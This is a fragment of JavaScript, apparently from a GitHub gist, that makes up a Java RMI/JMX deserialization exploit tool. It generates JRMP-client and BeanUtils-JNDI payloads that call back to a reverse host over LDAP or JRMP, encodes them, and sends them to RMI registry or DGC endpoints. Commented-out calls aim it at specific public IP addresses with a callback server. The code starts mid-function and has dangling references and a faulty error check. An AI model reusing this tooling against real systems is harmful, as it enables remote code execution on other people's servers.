console.log('Connected send TCP');
client.write(buf3);
});
client.on('data', function(data) {
console.log('Received: ' + data);
client.destroy(); // kill client after server's response
});
oReq.send(buf3);
return oReq;
}
function get_radio(name) {
var radios = document.getElementsByName(name);
for (var i = 0, length = radios.length; i < length; i++) {
if (radios[i].checked) {
return radios[i].value;
}
}
}
function make_payload(payl_type,revhost,revport) {
if (payl_type == "jrmp_client") {
var jrmp_client_host = revhost;
var jrmp_client_port = revport;
return make_jrmp_client_payl(jrmp_client_host, jrmp_client_port);
} else if (payl_type == "beanutils_jndi") {
var beanutils_jndi_url = "ldap://" + revhost + ":" + revport + "/obj";
return make_beanutils_jndi_payl(beanutils_jndi_url);
} else {
throw "Invalid payload";
}
}
var encoders = {
'raw' : {
'printable' : false,
'encode' : function(bytes) {
return bytes;
},
'blob' : function(bytes) {
var arr = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) {
arr[i] = bytes[i];
}
return new Blob([arr], {
type : 'application/octet-stream'
});
}
},
'hex' : {
'printable' : true,
'encode' : encode_hex,
'blob' : function(data) {
return new Blob([data], {
type : 'text/plain'
});
}
},
'b64' : {
'printable' : true,
'encode' : encode_b64,
'blob' : function(data) {
return new Blob([data], {
type : 'text/plain'
});
}
}
}
function go_generate() {
var payl_type = get_radio("payload");
var payl_enc = get_radio("payload_encoding") || "raw";
console.log("Payload is " + payl_type + " encoding " + payl_enc);
var obj = make_payload(payl_type);
var bytes = encode_object(obj);
var codec = encoders[payl_enc];
var encoded = codec.encode(bytes);
var out = document.getElementById('output');
out.style.display = 'block';
document.getElementById('output_length').textContent = encoded.length;
document.getElementById('output_format').textContent = payl_enc;
if (codec.printable) {
document.getElementById('output_text').style.display = 'block';
document.getElementById('output_text').textContent = encoded;
} else {
document.getElementById('output_text').style.display = 'none';
}
out.blob = codec.blob(encoded);
out.filename = payl_type + "." + payl_enc;
}
// https://stackoverflow.com/a/30832210
function download() {
var out = document.getElementById('output');
var file = out.blob;
var filename = out.filename;
if (window.navigator.msSaveOrOpenBlob) { // IE10+
window.navigator.msSaveOrOpenBlob(file, filename);
} else { // Others
var a = document.createElement("a"), url = URL
.createObjectURL(file);
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
setTimeout(function() {
document.body.removeChild(a);
window.URL.revokeObjectURL(url);
}, 0);
}
}
function go() {
var output = get_radio("output");
if (output == "rmi") {
go_jmx();
} else {
go_generate();
}
}
function cancel() {
var cur = window.current_req;
if (cur) {
cur.abort();
}
}
// payl_type = beanutils_jndi jrmp_client
// rpc_target = registry
function go_jmx_cli(host,port,rpc_target,payl_type,revhost,revport) {
// if (argv.debug === true) {
console.log("Payload is: " + payl_type + "\t"
+ rpc_target + "\t" + revhost + ":" + revport);
// }
args = [ make_jrmp_client_payl(revhost, revport) ];
var payl;
if (rpc_target == "registry") {
payl = encode_registry_lookup(args);
} else if (rpc_target == "dgc") {
payl = encode_dgc_dirty(args);
} else {
throw "Invalid target";
}
return send(host, port, payl);
}
var arraylist = {
NoSuchObjectException: "Object not found",
ClassCastException: "function not executed, mostly serialFilter",
AccessControllertAccessController: "java security filter is active",
lldawdwad: "test",
};
function parseJavaError(str) {
var argv = process.argv;
var textarr = str.split(/\n/);
// var returnval = "ERROR:\t";
// console.log(util.inspect(textarr.length));
for (key in arraylist) {
if(textarr.indexOf(key)) {
return getHostFromHoststr(lastreq) + ":" + getPortFromHoststr(lastreq) + " rmi/jmxrmi\t" + arraylist[key]
}
}
return getHostFromHoststr(lastreq) + ":" + getPortFromHoststr(lastreq) + "\t" + arraylist[key]
// return returnval;
}
function getPortFromHoststr(str) {
var array = str.split(":");
if(array.length == 2) {
return array[1];
}
}
function getHostFromHoststr(str) {
var arr = str.split(":");
return arr[0];
}
oReq.onreadystatechange = function() {
if (this.readyState === 4) {
// if (this.responseText.indexOf("is")) {
// if (argv.debug != 0) { console.log(lastreq + "\t" + this.responseText); }
// }
var text = this.responseText;
var ret = parseJavaError(text);
// if (this.responseText.length > 10) {
// console.log("Complete.\nBody length: " + this.responseText.length);
if ( argv.debug === true ) {
console.log(ret + "\n" + lastreq + "\t" );
}else {
console.log(lastreq + ' ' + this.responseText.substring(12, 64));
}
// }
// process.stdout.write("out: " + this.responseText );
}
};
// console && console.log && console.log("start" + util.inspect(argv));
// lastreq = "registry";
// returnval = go_jmx_cli("195.137.225.97",1100,"registry","jrmp_client","178.162.204.214","28757");
// // await returnval();
// // (async () => {
// // await returnval ;
// // })();
// // while(returnval.readyState != 4 ) {
// // process.stdout.write("hello: " + util.inspect(returnval));
// // // sle
// // }
// go_jmx_cli("195.137.225.97",1100,"registry","jrmp_client","178.162.204.214","28757");
// go_jmx_cli("195.137.225.97",1100,"registry","dgc","178.162.204.214","28757");
// go_jmx_cli("195.137.225.97",1100,"registry","beanutils_jndi","178.162.204.214","28757");
// while(10);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment